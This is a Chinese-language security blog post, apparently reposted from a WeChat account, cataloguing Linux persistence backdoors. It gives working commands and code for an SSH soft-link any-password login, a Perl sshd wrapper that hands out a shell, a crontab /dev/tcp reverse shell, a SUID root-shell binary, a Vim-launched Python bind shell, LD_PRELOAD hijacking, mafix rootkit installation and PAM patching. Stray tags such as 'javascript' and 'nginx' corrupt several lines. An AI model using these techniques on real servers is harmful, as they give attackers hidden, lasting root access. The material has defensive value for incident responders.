0x00:前言
持久化後門是指當入侵者經過某種手段拿到服務器的控制權以後,經過在服務器上放置一些後門(腳本、進程、鏈接之類),來方便他之後持久性的入侵,簡單梳理一下平常碰見windows用的比較多的一些持久化方式方便之後排查問題使用.javascript
Linux
php
0x01:SSH
css
1、ssh軟鏈接html
SSH軟鏈接後門的原理java
一、Linux軟鏈接ssh後門須要ssh配置容許PAM認證才能使用python
二、將sshd文件軟鏈接名稱設置爲su,這樣應用在啓動過程當中他會去PAM配置文件夾中尋找是否存在對應名稱的配置信息(su)
linux
三、若是被控主機不容許root登錄可用其餘已存在用戶登錄nginx
四、經過軟鏈接的方式,實質上PAM認證是經過軟鏈接的文件名(如:/tmp/su,/home/su)在/etc/pam.d/目錄下尋找對應的PAM配置文件(如:/etc/pam.d/su)git
五、任意密碼登錄的核心是auth sufficient pam_rootok.so,只要PAM配置文件中包含此配置便可 SSH任意密碼登錄程序員
舉個栗子
靶機執行並查看是否軟鏈接創建完成
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oport=12345
說明:創建軟鏈接到/usr/local/su 文件,也能夠在其餘目錄,su文件名字不能變,變了就沒法登陸.固然能夠經過其餘設置,更改su名字也是能夠的.而後啓動,並指定監聽12345端口,登陸的時候密碼隨意便可.
攻擊者利用ssh並使用任意密碼登錄靶機
ssh root@1xx.1xx.1xx.1xx -p 12345
參考:https://www.jozxing.cc/archives/1653
2、ssh利用公鑰免密登陸
受害者:1.1.1.x
攻擊者:2.2.2.x
如今攻擊者想配置免密登陸鏈接受害者
攻擊者機器:
# ssh-keygen -b 4096 -t rsa
一路回車回車默認就行,在/root/.ssh/目錄下生成了兩個文件
id_rsa、id_rsa.pub
# cat /root/.ssh/id_rsa.pub
所有copy文件內容
受害者機器:
# vi /root/.ssh/authorized_keys
攻擊者的id_rsa.pub內容粘貼到文件裏面(若是原來存在內容就另起一行粘貼)
# chmod 600 /root/.ssh/authorized_keys# chmod 700 /root/.ssh
攻擊者利用公鑰登陸
# ssh -i /root/.ssh/id_rsa root@2.2.2.x
缺點:容易被發現
3、ssh wrapper後門
init首先啓動的是/usr/sbin/sshd,腳本執行到getpeername這裏的時候,正則匹配會失敗,因而執行下一句,啓動/usr/bin/sshd,這是原始sshd.
原始的sshd監聽端口創建了tcp鏈接後,會fork一個子進程處理具體工做.這個子進程,沒有什麼檢驗,而是直接執行系統默認的位置的/usr/sbin/sshd,這樣子控制權又回到腳本了.此時子進程標準輸入輸出已被重定向到套接字,getpeername能真的獲取到客戶端的TCP源端口,若是是19526就執行sh給個shell.
被控端
[root@Jaky ~]# cd /usr/sbin
[root@Jaky sbin]# mv sshd ../bin
[root@Jaky sbin]# echo ‘#!/usr/bin/perl’ >sshd
[root@Jaky sbin]# echo ‘exec 「/bin/sh」 if(getpeername(STDIN) =~ /^..4A/);’ >>sshd
[root@Jaky sbin]# echo ‘exec{「/usr/bin/sshd」} 「/usr/sbin/sshd」,@ARGV,’ >>sshd
[root@Jaky sbin]# chmod u+x sshd
[root@Jaky sbin]# /etc/init.d/sshd restart
控制端
socat STDIOTCP4:受害者IP:22,sourceport=19526
優勢:
一、隱蔽性較強,無須要編譯,使用於大部分環境中.
二、在無鏈接後門的狀況下,管理員是看不到端口和進程的,last也查不到登錄.
缺點:
一、須要重啓sshd進程.
4、Crontab定時任務
Crontab定時任務就像windows中的定時任務,在Linux系統中,計劃任務通常是由cron承擔,咱們能夠把cron設置爲開機時自動啓動.
Cron 表達式生成網站:https://qqe2.com/cron
(crontab -l;echo '* 1/5 * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -
0x02:SUID後門
當s這個標誌出如今文件全部者的x權限上時,此時就被稱爲Set UID.簡程SUID.
當一個文件或者程序所屬 suid爲0時,那麼它的歸屬及爲root,當執行該文件時,實際上是以root身份執行的.
必要條件:
一、SUID權限僅對二進制程序有效。
二、執行者對於該程序須要具備x的可執行權限
三、本權限僅在執行該程序的過程當中有效
四、在執行過程當中執行者將具備該程序擁有者的權限
舉個栗子
main () {setuid(0);system("/bin/bash");}
編譯成二進制文件gcc suid.c -o luomiweixiong賦予suid權限chmod 4755 luomiweixiongchmod u+s luomiweixiongshell執行root命令,經過web的方式調用 http://localhost/suid.php?path=/tmp/luomiweixiong&cmd=id便可以root的權限執行命令id
參考
https://pythonpig.github.io/2018/06/26/suid%E5%90%8E%E9%97%A8(suid-shell)/
0x03:協議後門
在一些訪問控制作的比較嚴格的環境中,由內到外的TCP流量會被阻斷掉.可是對於UDP(DNS、ICMP)相關流量一般不會攔截.
主要原理就是利用ICMP中可控的data字段進行數據傳輸
Github上的協議後門利用
https://github.com/andreafabrizi/prism
參考文章
https://zhuanlan.zhihu.com/p/41154036
0x04:VIM後門
Vim是從 vi 發展出來的一個文本編輯器.代碼補全,編譯及錯誤跳轉等方便編程的功能特別豐富,在程序員中被普遍使用,和Emacs並列成爲類Unix系統用戶最喜歡的文本編輯器.
使用環境
一、安裝了VIM編輯器
二、python擴展(絕大版本默認已安裝)
參考
https://github.com/ianxtianxt/WOTD
首先使用一個python開啓本地監聽端口8888的腳本
from socket import *import subprocessimport os, threading, sys, timeif __name__ == "__main__": server=socket(AF_INET,SOCK_STREAM) server.bind(('0.0.0.0',8888)) server.listen(5) print 'waiting for connect' talk, addr = server.accept() print 'connect from',addr proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk, stdout=talk, stderr=talk, shell=True)
同時使用vim的pyfile來執行python腳本
$(nohup vim -E -c "pyfile jaky.py"> /dev/null 2>&1 &) && sleep 2 && rm -f jaky.py
攻擊者開啓NC連接就OK
0x05:linux進程注入
原理上來講,是經過獲取其它的進程並修改它,通常是經過操做系統所提供的調試接口來實現的,
在linux中具備調試功能的工具備ptrace、Gdb、radare二、strace等,這些工具都是使用ptrace這個系統調用來提供服務的.
ptrace系統調用容許一個進程去調試另一個進程。
參考
https://kevien.github.io/2018/01/28/linux%E8%BF%9B%E7%A8%8B%E6%B3%A8%E5%85%A5/
Github上利用代碼
https://github.com/gaffe23/linux-inject/
衍生的另一個技巧 "linux一種無文件後門技巧"
文章參考連接
https://kevien.github.io/2018/02/20/linux%E4%B8%80%E7%A7%8D%E6%97%A0%E6%96%87%E4%BB%B6%E5%90%8E%E9%97%A8%E6%8A%80%E5%B7%A7%28%E8%AF%91%E6%96%87%29/
0x06:動態連接庫後門
在Linux操做系統的動態連接庫在加載過程當中,動態連接器會先讀取LDPRELOAD環境變量和默認配置文件/etc/ld.so.preload,並將讀取到的動態連接庫文件進行預加載,即便程序不依賴這些動態連接庫,LDPRELOAD環境變量和/etc/ld.so.preload配置文件中指定的動態連接庫依然會被裝載,這樣就致使了動態連接庫文件能夠被當作後門使用.
參考
https://www.freebuf.com/column/162604.html
首先建立了一個jaky.c文件,其中調用time方法,而後建立了一個jakylib.c,其中生成了一個time方法供test調用
編譯後用LD_PRELOAD=$PWD/jakylib.so ./jaky劫持了time.
//jaky.cint main(){ srand(time(NULL)); return 0;}//編譯:gcc -o jaky jaky.c
//jakylib.cint time(){ printf("hello Jaky"); return 0; //the most random number in the universe}//編譯:gcc -shared -fPIC jakylib.c -o jaky.so
Github上利用代碼
https://github.com/mempodippy/cub3
用於預加載的惡意動態連接庫
0x07:mafix rootkit
Mafix是一款經常使用的輕量應用級別Rootkits,是經過僞造ssh協議漏洞實現遠程登錄的特色是配置簡單並能夠自定義驗證密碼和端口號.
參考文章
https://www.i0day.com/559.html
1.首先是得到遠程服務器的root權限
2.而後下載rootkit程序 mafix
(下載前最好把殺毒軟件關掉,基本上會報毒的!)
3.開始安裝
tar -xvzf mafix.tar.gzcd mafixrootkit 345
(其中rootkit爲你鏈接後門程序時的密碼,345爲鏈接的端口)
能夠驗證一下是否成功:
[root@jaky ~]# netstat -anlp|grep 345tcp 0 0 0.0.0.0:345 0.0.0.0:* LISTEN 11280/ttyload
能夠看到,345端口已經在監聽了.
4.鏈接後門程序
ssh 111.111.111.111 -p 345
0x08:PAM
PAM實際上是經過提供一些動態連接庫和一套統一的API,將系統提供的服務和該服務的認證方式分開,使得系統管理員能夠靈活地根據須要給不一樣的服務配置不一樣的認證方式而無需更改服務程序.
利用步驟
複製patch到源代碼目錄
打patch
編譯
將生成的pam_uninx.so文件覆蓋到/lib/secruity/pam_unix.so下
修改文件屬性
創建密碼保存文件,並設置好相關的權限
清理日誌
確保ssh開啓pam支持
vim /etc/ssh/sshd_configUsePAM yes
Github上利用代碼
https://github.com/litsand/shell/blob/master/pam.sh
0x09:建立不能刪除的文件
使用chattr來給與隱藏權限.這些權限須要使用lsattr這個命令才能夠查看到,而若是要修改隱藏權限,則使用chattr這個命令來進行修改.
chattr +i jaky.sh
更好的學習氛圍,
歡迎加入咱們的知識星球!
![](http://static.javashuo.com/static/loading.gif)
本文分享自微信公衆號 - 貝塔安全實驗室(BetaSecLab)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。